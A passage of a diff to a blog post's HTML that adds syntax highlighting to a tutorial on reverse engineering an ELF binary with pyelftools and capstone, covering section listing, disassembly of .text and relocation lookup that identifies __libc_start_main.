class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span> +</code></pre></div> <p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p> -<pre><code>› python sections.py -0x238 .interp -0x254 .note.ABI-tag -0x274 .note.gnu.build-id -0x298 .gnu.hash -0x2c0 .dynsym -0x3e0 .dynstr -0x484 .gnu.version -0x4a0 .gnu.version_r -0x4c0 .rela.dyn -0x598 .rela.plt -0x610 .init -0x630 .plt -0x690 .plt.got -0x6a0 .text -0x8f4 .fini -0x900 .rodata -0x924 .eh_frame_hdr -0x960 .eh_frame -0x200d98 .init_array -0x200da0 .fini_array -0x200da8 .dynamic -0x200f98 .got -0x201000 .data -0x201010 .bss -0x0 .comment -0x0 .symtab -0x0 .strtab -0x0 .shstrtab -</code></pre> +<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span> +<span class="go">0x238 .interp</span> +<span class="go">0x254 .note.ABI-tag</span> +<span class="go">0x274 .note.gnu.build-id</span> +<span class="go">0x298 .gnu.hash</span> +<span class="go">0x2c0 .dynsym</span> +<span class="go">0x3e0 .dynstr</span> +<span class="go">0x484 .gnu.version</span> +<span class="go">0x4a0 .gnu.version_r</span> +<span class="go">0x4c0 .rela.dyn</span> +<span class="go">0x598 .rela.plt</span> +<span class="go">0x610 .init</span> +<span class="go">0x630 .plt</span> +<span class="go">0x690 .plt.got</span> +<span class="go">0x6a0 .text</span> +<span class="go">0x8f4 .fini</span> +<span class="go">0x900 .rodata</span> +<span class="go">0x924 .eh_frame_hdr</span> +<span class="go">0x960 .eh_frame</span> +<span class="go">0x200d98 .init_array</span> +<span class="go">0x200da0 .fini_array</span> +<span class="go">0x200da8 .dynamic</span> +<span class="go">0x200f98 .got</span> +<span class="go">0x201000 .data</span> +<span class="go">0x201010 .bss</span> +<span class="go">0x0 .comment</span> +<span class="go">0x0 .symtab</span> +<span class="go">0x0 .strtab</span> +<span class="go">0x0 .shstrtab</span> +</code></pre></div> <p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p> <p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p> -<pre><code># disas1.py +<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span> -from elftools.elf.elffile import ELFFile -from capstone import * +<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span> +<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span> -with open('./bin.elf', 'rb') as f: - elf = ELFFile(f) - code = elf.get_section_by_name('.text') - ops = code.data() - addr = code['sh_addr'] - md = Cs(CS_ARCH_X86, CS_MODE_64) - for i in md.disasm(ops, addr): - print(f'0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}') -</code></pre> +<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./bin.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> + <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span> + <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">&#39;.text&#39;</span><span class="p">)</span> + <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span> + <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]</span> + <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span> + <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span> + <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}&#39;</span><span class="p">)</span> +</code></pre></div> <p>The code is fairly straightforward (I think). We should be seeing this, on running</p> -<pre><code>› python disas1.py | less -0x6a0: xor ebp, ebp -0x6a2: mov r9, rdx -0x6a5: pop rsi -0x6a6: mov rdx, rsp -0x6a9: and rsp, 0xfffffffffffffff0 -0x6ad: push rax -0x6ae: push rsp -0x6af: lea r8, [rip + 0x23a] -0x6b6: lea rcx, [rip + 0x1c3] -0x6bd: lea rdi, [rip + 0xe6] -**0x6c4: call qword ptr [rip + 0x200916]** -0x6ca: hlt -... snip ... -</code></pre> +<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span> +<span class="go">0x6a0: xor ebp, ebp</span> +<span class="go">0x6a2: mov r9, rdx</span> +<span class="go">0x6a5: pop rsi</span> +<span class="go">0x6a6: mov rdx, rsp</span> +<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span> +<span class="go">0x6ad: push rax</span> +<span class="go">0x6ae: push rsp</span> +<span class="go">0x6af: lea r8, [rip + 0x23a]</span> +<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span> +<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span> +<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span> +<span class="go">0x6ca: hlt</span> +<span class="go">... snip ...</span> +</code></pre></div> <p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>

@@ -609,44 +608,44 @@ </blockquote>

<p>To try and find these relocation entries, we write a third script.</p> -<pre><code># relocations.py +<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span> -import sys -from elftools.elf.elffile import ELFFile -from elftools.elf.relocation import RelocationSection +<span class="kn">import</span> <span class="nn">sys</span> +<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span> +<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span> -with open('./chall.elf', 'rb') as f: - e = ELFFile(f) - for section in e.iter_sections(): - if isinstance(section, RelocationSection): - print(f'{section.name}:') - symbol_table = e.get_section(section['sh_link']) - for relocation in section.iter_relocations(): - symbol = symbol_table.get_symbol(relocation['r_info_sym']) - addr = hex(relocation['r_offset']) - print(f'{symbol.name} {addr}') -</code></pre> +<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> + <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span> + <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span> + <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span> + <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{section.name}:&#39;</span><span class="p">)</span> + <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_link&#39;</span><span class="p">])</span> + <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span> + <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_info_sym&#39;</span><span class="p">])</span> + <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_offset&#39;</span><span class="p">])</span> + <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{symbol.name} {addr}&#39;</span><span class="p">)</span> +</code></pre></div> <p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p> -<pre><code>› python relocations.py -.rela.dyn: - 0x200d98 - 0x200da0 - 0x201008 -_ITM_deregisterTMCloneTable 0x200fd8 -**__libc_start_main 0x200fe0** -__gmon_start__ 0x200fe8 -_ITM_registerTMCloneTable 0x200ff0 -__cxa_finalize 0x200ff8 -stdin 0x201010 -.rela.plt: -puts 0x200fb0 -printf 0x200fb8 -fgets 0x200fc0 -strcmp 0x200fc8 -malloc 0x200fd0 -</code></pre> +<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span> +<span class="go">.rela.dyn:</span> +<span class="go"> 0x200d98</span> +<span class="go"> 0x200da0</span> +<span class="go"> 0x201008</span> +<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span> +<span class="go">**__libc_start_main 0x200fe0**</span> +<span class="go">__gmon_start__ 0x200fe8</span> +<span class="go">_ITM_registerTMCloneTable 0x200ff0</span> +<span class="go">__cxa_finalize 0x200ff8</span> +<span class="go">stdin 0x201010</span> +<span class="go">.rela.plt:</span> +<span class="go">puts 0x200fb0</span> +<span class="go">printf 0x200fb8</span> +<span class="go">fgets 0x200fc0</span> +<span class="go">strcmp 0x200fc8</span> +<span class="go">malloc 0x200fd0</span> +</code></pre></div> <p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib&#8212;libc-start-main-.html">linuxbase.org</a></p>

@@ -656,13 +655,13 @@ </blockquote>

<p>And its definition is like so</p> -<pre><code>int __libc_start_main(int *(main) (int, char * *, char * *), -int argc, char * * ubp_av, -void (*init) (void), -void (*fini) (void), -void (*rtld_fini) (void), -void (* stack_end)); -</code></pre> +<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span> +<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span> +<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> +<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> +<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> +<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span> +</code></pre></div> <p>Looking back at our disassembly</p>